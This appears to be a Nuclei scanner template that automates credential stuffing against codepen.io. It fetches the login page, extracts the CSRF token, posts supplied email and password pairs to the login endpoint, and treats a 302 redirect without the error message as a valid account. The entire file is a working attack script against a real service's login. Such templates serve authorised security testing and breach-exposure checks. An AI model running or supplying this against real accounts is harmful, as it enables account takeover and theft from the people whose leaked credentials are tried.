id: codepen-login-check

info:
  name: codepen.io Login Check
  author: parthmalhotra,pdresearch
  severity: critical
  description: Checks for a valid codepen account.
  reference:
    - https://owasp.org/www-community/attacks/Credential_stuffing
  metadata:
    max-request: 2
  tags: creds-stuffing,login-check,cloud,codepen

self-contained: true

http:
  - raw:
      - |
        GET https://codepen.io/login HTTP/1.1
        Host: codepen.io
      - |
        POST https://codepen.io/login/login HTTP/1.1
        Host: codepen.io
        Content-Type: application/x-www-form-urlencoded
        X-CSRF-Token: {{token}}

        authenticity_token={{token}}&email={{username}}&password={{password}}&login-type=fullpage

    extractors:
      - type: dsl
        dsl:
          - username
          - password

      - type: xpath
        part: body
        xpath:
          - '//input[@name="authenticity_token"]/@value'
        name: token
        internal: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        negative: true
        words:
          - 'The username or password you entered is incorrect, please try again.'

      - type: status
        status:
          - 302
# digest: 4b0a00483046022100a881a526e3ec1d88a7242bf0390408ef314113d4490dcce3c13dde0a641abd73022100f8068531626d0289ca61ce172eed87512755607592c037d3687a041fd2419e52:922c64590222798bb761d5b6d8e72950